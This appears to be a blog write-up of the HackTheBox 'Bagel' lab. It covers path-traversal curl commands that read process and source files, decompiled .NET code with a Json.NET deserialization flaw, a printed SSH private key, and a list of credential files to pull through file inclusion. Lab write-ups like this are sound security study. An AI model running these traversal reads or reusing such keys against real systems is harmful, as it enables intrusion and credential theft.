hackthebox bagel medium

发布时间 2023-12-12 09:26:47作者: lisenMiller

Flask exploit 

/proc/self/cmdline understands which process is currently running to provice the web service.

curl http://10.10.11.201:8000/?page=../../../../../../proc/self/cmdline -o-

About the flask : After we know which py file is currently running the web through /proc/self/cmdline,we can get its source code down to audit.

When I try to curl the text down and I find that there are no empty lines.I can add tr '\000' '\n' and make the empty line #\000 a defaultr space after curl and the encoding of the space is \000

app.py的文本

from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json

app = Flask(__name__)

@app.route('/')
def index():
        if 'page' in request.args:
            page = 'static/'+request.args.get('page')
            if os.path.isfile(page):
                resp=send_file(page)
                resp.direct_passthrough = False
                if os.path.getsize(page) == 0:
                    resp.headers["Content-Length"]=str(len(resp.get_data()))
                return resp
            else:
                return "File not found"
        else:
                return redirect('http://bagel.htb:8000/?page=index.html', code=302)

@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
    try:
        ws = websocket.WebSocket()        #here utiliz the websocket to link
        ws.connect("ws://127.0.0.1:5000/") # connect to order app
        order = {"ReadOrder":"orders.txt"}
        data = str(json.dumps(order))
        ws.send(data)
        result = ws.recv()
        return(json.loads(result)['ReadOrder'])
    except:
        return("Unable to connect")

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8000)

It makes a websocket connection to the port 5000.It sends {"Read0rder":"orders.txt"},and then returns the Read0rder key from the result.

Enumerating websocket

interacting with websocket

After linking with wscat,use {"ReadOrder","orders.txt"} to probe the json format in app file.

wsat ws://xxxx:port

only the writeOrder property can be written.The RemoveOrder property cannot be written and don't discover any content.

Following the prompt that says we want to run order.app,also run the dotnet < path.dll> command.

The guess is that dotnet .dll needs to be executed first for this /orders routing to succeed.

So we have to find the content of dll file,# by /proc/pid/cmdline can know what the command runs.

Since this box runnning dotnet there must be a running process.Find the process and see what the path to the running configuration file is 

instruction

dotnet is a microsoft command that can run source code without compliation.

dotnet runs dll files to improve the usability of the program,modularity, the configuration of an application in the dll.

After obtaining the dll file,you need to conduct a code audit on it with dnspy.Checkup wp for the audit procedure.

This is the obtained ssh private key.Note that there are some formatting issues with the id_rsa file.1 .You must have an upstream BEGIN OPENSSH and below edge PRIVATE KEY 3.It must be line by line and not a big lump.The files obtained here have \n at the end of the line .so it has not been successful.

-----BEGIN OPENSSH PRIVATE KEY-----\n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\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----

Replacing the \n to \r in vim by sed grammar %s/\\n/\r/g

DLL文件审计

Conduct the code audit by tool like DNSpy

Strategy

Because the executable is a .Net assembly, that means it will decompile back to something resembling source fairly easily. There are tools to do this on Linux (such as ilspy) and many on Windows. My favorite is DNSpy, which runs on Windows, and I’ll show that here. The others are just as good - I’d recommend people use the one they are most comfortable with.

Overview

The program has the namespace bagel_server, with six classes in it. The main program is based out of the Bagel class, which starts in Main, but really is handled by MessgeReceived.

 The other important classes for understanding how the program works and how to exploit it are HandlerOrders, and File. I’ll also look at the DB class to get some information for later.

Bagel

MainInitializeServer, and StartServer are all involved in getting the server up and running. MessageReveived runs each time there’s a message on the websocket:

private static void MessageReceived(object sender, MessageReceivedEventArgs args)
{
    string json = "";
    bool flag = args.Data != null && args.Data.Count > 0;
    if (flag)
    {
        json = Encoding.UTF8.GetString(args.Data.Array, 0, args.Data.Count);
    }
    Handler handler = new Handler();
    object obj = handler.Deserialize(json);
    object obj2 = handler.Serialize(obj);
    Bagel._Server.SendAsync(args.IpPort, obj2.ToString(), default(CancellationToken));
}

Handler object is created, and used to Deserialize the received JSON. Then the result is passed back to Seialize and the resulting string is sent back.

The entire structure of this program is designed such that each object has a getter and a setter function. When the object is created, the setter is called. When it is serialized into JSON, the getter is called.

While reading this code, it’s important to remember that JSON is deserialized into an object by calling the setter. An object is serialized into JSON by calling the getter.

Handler

The Handler class is easy to overlook, but it is where the vulnerability is configured. A Handler object has two methods, Serialize and Deserialize:

using System;
using System.Runtime.CompilerServices;
using Newtonsoft.Json;

namespace bagel_server
{
    // Token: 0x02000005 RID: 5
    [NullableContext(1)]
    [Nullable(0)]
    public class Handler
    {
        // Token: 0x06000005 RID: 5 RVA: 0x00002094 File Offset: 0x00000294
        public object Serialize(object obj)
        {
            return JsonConvert.SerializeObject(obj, 1, new JsonSerializerSettings
            {
                TypeNameHandling = 4
            });
        }

        // Token: 0x06000006 RID: 6 RVA: 0x000020BC File Offset: 0x000002BC
        public object Deserialize(string json)
        {
            object result;
            try
            {
                result = JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings
                {
                    TypeNameHandling = 4
                });
            }
            catch
            {
                result = "{\"Message\":\"unknown\"}";
            }
            return result;
        }
    }
}

It’s using JsonConvert (docs), part of the Newtonsoft.Json package.

SerializeObject takes an object and returns a JSON serialized object (a string). DeserializeObject does that opposite, going from JSON string to a Base object in in memory. It’s important to note that it must be a Base object (as specified by the <Base> syntax).

The fact that both are setting the TypeNameHandling to 4 is important. The docs hint at the risk here:

 

Orders

An Orders object has three public properties, ReadOrderRemoveOrder, and WriteOrder, as well as three private members, fileorder_filename, and order_info.

In C# (and other programming languages), a property is a member of the class with a function defined for when something tries to read it (the getter) and another defined for when something tries to write it (the setter). The ReadOrder property is defined as:

public string ReadOrder
{
    get
    {
        return this.file.ReadFile;
    }
    set
    {
        this.order_filename = value;
        this.order_filename = this.order_filename.Replace("/", "");
        this.order_filename = this.order_filename.Replace("..", "");
        this.file.ReadFile = this.order_filename;
    }
}

When ReadOrder is set, it sets this.file.ReadFile to the input value, after removing / and .. (which explains why I couldn’t traverse above). When the object is read from it calls the get, which is a file.ReadFile property (so the getter from this object property).

WriteOrder is very similar:

public string WriteOrder
{
    get
    {
        return this.file.WriteFile;
    }
    set
    {
        this.order_info = value;
        this.file.WriteFile = this.order_info;
    }
}

It will call the setter on WriteFile with the input value, and then the result will be the getter on that same object.

RemoveOrder doesn’t define the getter and setter, which means that by default it just saves the value passed in, and returns it when read:

public object RemoveOrder { get; set; }

Base

The Base class derives from the Orders class:

using System;
using System.Runtime.CompilerServices;

namespace bagel_server
{
    // Token: 0x02000007 RID: 7
    [NullableContext(1)]
    [Nullable(0)]
    public class Base : Orders
    {
...[snip]...

This means it has all the properties / members of Order, plus three properties (UserIdSession, and Time) and two private members (userid and session). It sets userid to 0 and session to “Unauthorized”, and the setters are never called.

File

The File class defines ReadFile and WriteFileReadFile has getter and setter functions:

public string ReadFile
{
    get
    {
        return this.file_content;
    }
    set
    {
        this.filename = value;
        this.ReadContent(this.directory + this.filename);
    }
}

So when above this.file.ReadFile is set equal to something, this.filename becomes that something, and then ReadContent is called with this.directory + this.filename. These two are initialized to:

    private string directory = "/opt/bagel/orders/";
    private string filename = "orders.txt";

ReadContent sets this.file_content to the values read from the file, or to “Order not found!”:

    public void ReadContent(string path)
    {
        try
        {
            IEnumerable<string> values = File.ReadLines(path, Encoding.UTF8);
            this.file_content += string.Join("\n", values);
        }
        catch (Exception ex)
        {
            this.file_content = "Order not found!";
        }
    }

Then when the getter on ReadFile is called, it returns this.file_content.

WriteFile is similar:

public string WriteFile
{
    get
    {
        return this.IsSuccess;
    }
    set
    {
        this.WriteContent(this.directory + this.filename, value);
    }
}

On calling the setter, it calls WriteContent on the current file, which writes the file, and sets this.IsSuccess:

public void WriteContent(string filename, string line)
{
    try
    {
        File.WriteAllText(filename, line);
        this.IsSuccess = "Operation successed";
    }
    catch (Exception ex)
    {
        this.IsSuccess = "Operation failed";
    }
}

The getter returns this.IsSuccess.

Follow a Message

This diagram attempts to summaries how the base case of the message {"ReadOrder": "orders.txt"} is processed by the server:

 https://systemweakness.com/exploiting-json-serialization-in-net-core-694c111faa15 This article is about exploiting Json srialization in .NET core.

and the  https://dnewtonsoft.com/json/help/html/serializetypenamehandling.htm(Json.NET docs) give some examples of what it looks like with the dierent TypeNameHanding settings.When the type of the object is included,the JSON might look like:

 

OPERATION ATTENTION

1.we can use shell script to accomplish curl and echo command at the mean time. The grammar is as follows:

for i in $(cat pid); do curl http://10.10.11.201:8000/?page=../../../../../proc/$i/cmdline -o-;echo "  PID => $i";done

2.if we can LFI,we could include file as follows:

/etc/hosts. /home/user/.ssh/id_rsa . /proc/self/environ  /proc/pid/cmdline  /proc/self/cmdline. 

/proc/self/status  /proc/self/stat  /proc/net/arp